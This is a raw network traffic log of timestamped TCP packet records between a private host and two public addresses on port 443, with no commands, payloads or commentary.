Jul 4, 2024 20:17:48.407296896 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.407330990 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.407483101 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.407497883 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.407565117 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.408134937 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.408147097 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.408251047 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.408260107 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.408724070 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.408823967 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.408832073 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.409028053 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.497123003 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.497328043 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.497344017 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.498342991 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.498420000 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.498429060 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.499006987 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.499089003 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.499098063 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.500621080 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.500699997 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.500710964 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.552002907 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.587238073 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.587248087 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.587352037 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.587410927 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.587418079 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.587652922 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.587734938 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.587743998 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.588038921 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.588155985 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.588165045 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.588607073 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.588665962 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.588674068 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.588865995 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.588958025 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.588968039 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.589824915 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.589890957 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.589900970 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.590598106 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.590668917 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.590678930 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.591336966 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.591430902 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.591439962 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.645915031 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.677046061 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677057028 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677138090 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.677150011 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677345991 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677354097 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677448988 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.677458048 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677619934 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677647114 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677675009 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.677684069 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.677709103 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.678061962 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.678194046 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.678200960 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.678261042 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.678394079 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.678404093 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.678966045 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.679184914 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.679193020 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.679223061 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.679280043 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.679287910 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.679874897 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.680162907 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.680196047 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.680205107 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.680313110 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.680695057 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.680808067 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.680814981 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.681005001 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.681075096 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.681104898 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.681112051 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.681184053 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.681210995 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.681266069 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.681674004 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.701862097 CEST	49829	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:48.701899052 CEST	443	49829	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:48.702040911 CEST	49829	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:48.703495979 CEST	49829	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:48.703507900 CEST	443	49829	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:49.275387049 CEST	443	49829	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:49.278224945 CEST	49829	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:49.278240919 CEST	443	49829	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:49.449019909 CEST	443	49829	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:49.449084997 CEST	443	49829	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:49.449136972 CEST	49829	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:49.449876070 CEST	49829	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:49.451926947 CEST	49830	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:49.451956987 CEST	443	49830	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:49.452027082 CEST	49830	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:49.452387094 CEST	49830	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:49.452399015 CEST	443	49830	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:50.094568014 CEST	443	49830	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:50.097127914 CEST	49830	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:50.097157001 CEST	443	49830	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:51.303649902 CEST	443	49830	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:51.303718090 CEST	49830	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:51.303739071 CEST	443	49830	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:51.303792953 CEST	443	49830	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:51.303843975 CEST	49830	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:51.304744959 CEST	49830	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:51.307061911 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:51.307086945 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:51.307147980 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:51.307576895 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:51.307593107 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:51.916760921 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:51.919135094 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:51.919162035 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.107712030 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.107743979 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.107799053 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.107816935 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.107861042 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.108642101 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.108649969 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.108704090 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.108704090 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.108716965 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.108753920 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.216128111 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.216219902 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.216229916 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.217153072 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.217212915 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.217221022 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.218074083 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.218127966 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.218141079 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.219086885 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.219157934 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.219166040 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.270761967 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.288795948 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.288805008 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.288897991 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.288907051 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.333403111 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628036976 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628048897 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628078938 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628120899 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628180981 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628274918 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628288031 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628340006 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628340006 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628350973 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628777981 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628806114 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628835917 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628843069 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628854036 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628854036 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628860950 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628885031 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628901005 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628935099 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.628942013 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.628953934 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.629759073 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.629803896 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.629832983 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.629841089 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.629865885 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.633025885 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.633097887 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.633107901 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.633476973 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.633583069 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.633594036 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.633708954 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.633769989 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.633778095 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.634561062 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.634634972 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.634641886 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.635457039 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.635529995 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.635539055 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.636347055 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.636421919 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.636430979 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.637144089 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.637217045 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.637224913 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.638067007 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.638173103 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.638180971 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.638267994 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.638371944 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.638381004 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.639105082 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.639173985 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.639180899 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.640285015 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.640362024 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.640388966 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.640397072 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.640424013 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.640450954 CEST	443	49831	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:52.640556097 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.641386032 CEST	49831	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:52.653407097 CEST	49832	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:52.653430939 CEST	443	49832	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:52.653723001 CEST	49832	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:52.653989077 CEST	49832	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:52.654005051 CEST	443	49832	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:53.263104916 CEST	443	49832	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:53.265049934 CEST	49832	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:53.265065908 CEST	443	49832	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:53.423106909 CEST	443	49832	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:53.423175097 CEST	443	49832	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:53.423222065 CEST	49832	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:53.423732996 CEST	49832	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:53.425043106 CEST	49833	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:53.425079107 CEST	443	49833	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:53.425164938 CEST	49833	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:53.425486088 CEST	49833	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:53.425494909 CEST	443	49833	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:54.100204945 CEST	443	49833	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:54.102834940 CEST	49833	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:54.102870941 CEST	443	49833	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:54.938770056 CEST	443	49833	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:54.938857079 CEST	443	49833	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:54.938894033 CEST	49833	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:54.938939095 CEST	49833	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:54.941157103 CEST	49833	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:54.941157103 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:54.941200018 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:54.943635941 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:54.947427034 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:54.947446108 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.602722883 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.609020948 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.609049082 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.794495106 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.794536114 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.794593096 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.794624090 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.795738935 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.795790911 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.795800924 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.795808077 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.795835018 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.888097048 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.888173103 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.888189077 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.889868975 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.889877081 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.889905930 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.889919043 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.889935017 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.889945984 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.890925884 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.890934944 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.890959978 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.890999079 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.891005993 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.891021967 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.891892910 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.891901016 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.891932011 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.891937971 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.891963959 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.982975006 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.982985973 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983073950 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.983088970 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983231068 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983238935 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983267069 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983273983 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.983278990 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983309031 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.983510017 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983516932 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983542919 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983556986 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.983562946 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.983581066 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.984282017 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.984287977 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.984330893 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.984337091 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.985143900 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.985152006 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.985191107 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.985197067 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.986162901 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.986169100 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.986212015 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.986217976 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.986279964 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.986306906 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.986330986 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.986350060 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.986361027 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.987036943 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:55.987087965 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:55.987092972 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079092026 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079147100 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.079154968 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079509020 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079515934 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079545021 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079560995 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.079566956 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079596043 CEST	49834	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:56.079875946 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079883099 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079905987 CEST	443	49834	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:56.079926014 CEST	49834	443	192.168.2.6	13.107.137.11
